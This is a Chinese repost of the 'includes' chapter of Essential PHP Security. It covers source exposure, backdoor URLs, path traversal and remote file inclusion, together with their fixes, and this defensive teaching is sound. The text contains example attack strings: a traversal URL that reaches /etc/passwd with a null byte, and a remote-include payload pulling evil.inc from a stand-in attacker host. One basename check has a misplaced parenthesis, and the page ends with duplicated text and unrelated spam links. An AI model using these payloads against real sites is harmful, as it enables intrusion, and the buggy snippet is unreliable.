Essential PHP Security -PHP安全基础(中文版)

来源:互联网 发布:linux 执行脚本命令 编辑:程序博客网 时间:2024/04/28 08:16
第五章 包含
随着PHP项目的增大,软件设计与组织在代码的可维护性上起着越来越重要的作用。尽管对于什么是最好的编程方式众说纷纭(关于面向对象优点的争论常常发生),但基本上每个开发者会理解和欣赏模块化设计的价值。

本章说明了使用包含时会面临的安全问题。脚本中include或require的文件把你的应用分成了逻辑上分离的两部分。我还会着重强调和纠正一些常见的误解,特别是有关于如何编程的问题。

小提示
当使用include和require时,应该使用include_once与require_once来包含。


5.1. 源码暴露
关于包含的一个重要问题是源代码的暴露。产生这个问题主要原因是下面的常见情况:

l        对包含文件使用.inc的扩展名
l        包含文件保存在网站主目录下
l        Apache未设定.inc文件的类型
l        Apache的默认文件类型是text/plain

上面情况造成了可以通过URL直接访问包含文件。更糟的是,它们会被作为普通文本处理而不会被PHP所解析,这样你的源代码就会显示在用户的浏览器上(见图5-1)。

图 5-1. 源代码在服务器中的暴露



避免这种情况很容易。只能重组你的应用,把所有的包含文件放在网站主目录之外就可以了,最好的方法是只把需要公开发布的文件放置在网站主目录下。

虽然这听起来有些疯狂,很多情形下能导致源码的暴露。我曾经看到过Apache的配置文件被误写(并且在下次启动前未发现),没有经验的系统管理员升级了Apache但忘了加入PHP支持,还有一大堆情形能导致源码暴露。

通过在网站主目录外保存尽可能多的PHP代码,你可以防止源代码的暴露。至少,把所有的包含文件保存在网站主目录外是一个最好的办法。

一些方法能限制源码暴露的可能性但不能从根本上解决这个问题。这些方法包括在Apache中配置.inc文件与PHP文件一样处理,包含文件使用.php后缀,配置Apache不能接受对.inc文件的直接请求:

    <Files ~ "/.inc$">
        Order allow,deny
        Deny from all
    </Files>

虽然这些方法有其优点,但没有一个方法在安全性上能与把包含文件放在网站主目录之外的做法相比。不要依赖于上面的方法对你的应用进行保护,至多把它们当做深度防范来对待。

5.2. 后门URL
后门URL是指虽然无需直接调用的资源能直接通过URL访问。例如,下面WEB应用可能向登入用户显示敏感信息:

    <?php

    $authenticated = FALSE;
    $authenticated = check_auth();

    /* ... */

    if ($authenticated)
    {
        include './sensitive.php';
    }

    ?>


由于sensitive.php位于网站主目录下,用浏览器能跳过验证机制直接访问到该文件。这是由于在网站主目录下的所有文件都有一个相应的URL地址。在某些情况下,这些脚本可能执行一个重要的操作,这就增大了风险。

为了防止后门URL,你需要确认把所有包含文件保存在网站主目录以外。所有保存在网站主目录下的文件都是必须要通过URL直接访问的。

5.3. 文件名操纵
在很多情形下会使用动态包含,此时目录名或文件名中的部分会保存在一个变量中。例如,你可以缓存你的部分动态页来降低你的数据库服务器的负担。

    <?php

    include "/cache/{$_GET['username']}.html";

    ?>

为了让这个漏洞更明显,示例中使用了$_GET。如果你使用了受污染数据时,这个漏洞同样存在。使用$_GET['username']是一个极端的例子,通过它可以把问题看得更清楚。

虽然上面的流程有其优点,但它同时为攻击者提供了一个可以自由选择缓存页的良机。例如,一个用户可以方便地通过编辑URL中的username的值来察看其他用户的缓存文件。事实上,攻击者可以通过简单的更改username的值为相应的文件名(不加扩展名)来察看/cache目录下的所有扩展名为.html的文件。

    http://example.org/index.php?username=filename

尽管该程序限制了攻击者所操作的目录和文件名,但变更文件名并不是唯一的手段。攻击者可以创造性地达到在文件系统中进行跨越的目的,而去察看其他目录中的.html文件以发现敏感信息。这是因为可以在字串使用父目录的方式进行目录跨越:

    http://example.org/index.php?username=../admin/users

上面URL的运行结果如下:

    <?php

    include "/cache/../admin/users.html";

    ?>

此时,..意味着/cache的父目录,也就是根目录。这样上面的例子就等价于:

    <?php

    include "/admin/users.html";

    ?>

由于所有的文件都会在文件系统的根目录下,该流程就允许了一个攻击者能访问你服务器上所有的.html文件。

在某些平台上,攻击者还可以使用一个NULL来终止字符串,例如:

http://example.org/index.php?username=../etc/passwd%00
这样就成功地绕开了.html文件扩展名的限制。

当然,一味地去通过猜测攻击者的所有恶意攻击手段是不可能的,无论你在文件上加上多少控制,也不能排除风险。重要的是在动态包含时永远不要使用被污染数据。攻击手段不是一成不变的,但漏洞不会变化。只要通过过滤数据即可修复这个漏洞(见第一章):
    <?php

    $clean = array();

    /* $_GET['filename'] is filtered and stored in $clean['filename']. */

    include "/path/to/{$clean['filename']}";

    ?>

如果你确认参数中只有文件名部分而没有路径信息时,另一个有效的技巧是通过使用basename( )来进行数据的过滤:

    <?php

    $clean = array();

    if (basename($_GET['filename'] == $_GET['filename'])
    {
      $clean['filename'] = $_GET['filename'];
    }

    include "/path/to/{$clean['filename']}";

    ?>

如果你允许有路径信息但想要在检测前把它化简,你可以使用realpath()函数:

    <?php

    $filename = realpath("/path/to/{$_GET['filename']}");

    ?>


通过上面程序处理得到的结果($filename)可以被用来确认是否位于/path/to目录下:

    <?php

    $pathinfo = pathinfo($filename);

    if ($pathinfo['dirname'] == '/path/to')
    {
      /* $filename is within /path/to */.
    }

    ?>

如果检测不通过,你就应该把这个请求记录到攻击日志以备后查。这个在你把这个流程作为深度防范措施时特别重要,因为你要确定其它的安全手段失效的原因。

5.4. 代码注入
一个特别危险的情形是当你试图使用被污染数据作为动态包含的前导部分时:
    <?php

    include "{$_GET['path']}/header.inc";

    ?>

在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制):

    <?php

    include 'http://www.google.com/';

    ?>

include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的,但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被解析并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。

想象一下path的值指向了下面的攻击者所控制的资源:

    http://example.org/index.php?pat ... e.org%2Fevil.inc%3F

在上例中,path的值是URL编码过的,原值如下:
    http://evil.example.org/evil.inc?

这就导致了include语句包含并执行了攻击者所选定的脚本(evil.inc),同时原来的文件名/header.inc会被认为是一个请求串:

    <?php

    include "http://evil.example.org/evil.inc?/header.inc";

    ?>

这样攻击者就避免了去猜测剩下的目录和文件名(/header.onc)并在evil.example.org上建立相同的路径和文件名的必要性。相反地,在受攻击网站的具体文件名被屏蔽的情况下,他只要保证evil.inc中输出合法的他想要执行的代码就行了。

这种情况与允许攻击者在你的网站上直接修改PHP代码一样危险。幸运的是,只要在include和require语句前对数据进行过滤即可防止这种情况的发生:

    <?php

    $clean = array();

    /* $_GET['path'] is filtered and stored in $clean['path']. */

    include "{$clean['path']}/header.inc";

    ?>

本书的网站

 

http://phpsec.org/

PHP安全协会

 

http://shiflett.org/

本书作者的blog和网站

 

       本章是本书的基础部分。作为学习后续章节的前提,将教给您一些原则和经验。

       本书着眼于PHP语言,向您展示如何通过操纵PHP一些特殊的功能写出安全的代码。本书中的概念,适用于任何网络开发平台。网络应用程序的安全是一门年轻的和发展中的学科。本书会从理论出发,教会您一些好的习惯,使您能安枕无忧,从容应对恶意者层出不穷的新的攻击和技巧。

       不过,最聪明的还是时刻紧跟业内的新进展,下面是几个有用的资源:

 

 

http://phpsecurity.org/

本书的网站

 

http://phpsec.org/

PHP安全协会

 

http://shiflett.org/

本书作者的blog和网站

 

       本章是本书的基础部分。作为学习后续章节的前提,将教给您一些原则和经验。

原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 大人生病住院小孩没人带怎么办 孕妇被小猫抓了怎么办 怀孕了家里有猫怎么办 厕所被湿纸巾堵了怎么办 5天新生儿不拉屎怎么办 4月宝宝不拉屎怎么办 两岁宝宝晚上睡觉哭闹怎么办 2月婴儿吐奶很多怎么办 心情不好回奶了怎么办 四个月了没奶怎么办 八岁宝宝还尿床怎么办 自己一人在家害怕怎么办 被猫抓伤流血了怎么办 被小狐狸咬了怎么办 怀孕吃了兔子肉怎么办 鸟总在窗子上啄怎么办? 有鸟飞进楼道里怎么办 租的房间房东要求改建怎么办 小偷偷钱抓住不还钱怎么办 损友圈羊被陌生人偷了怎么办 在酒店如果遇到客人偷东西怎么办 梦见家里有不好的东西怎么办 被小孩要破了怎么办啊 租一个房子小孩一进房就哭怎么办 墙缝里有蝙蝠窝怎么办 小蝙蝠在墙缝里怎么办 小孩一进屋就哭怎么办 屋门对着厕所门怎么办 入室门对厨房门怎么办 厕所正对入户门怎么办 小区楼交错冲路怎么办 床的位置在五鬼上怎么办 被甩了很痛苦怎么办 和对象想分手了怎么办 对象想跟你啪啪怎么办 相亲对象好像不太想理我怎么办 想跟对象分手了怎么办 异地恋分手后该怎么办 面膜敷了一晚上怎么办 梦见被刺猬咬了怎么办 梦见死人叫我名字答应怎么办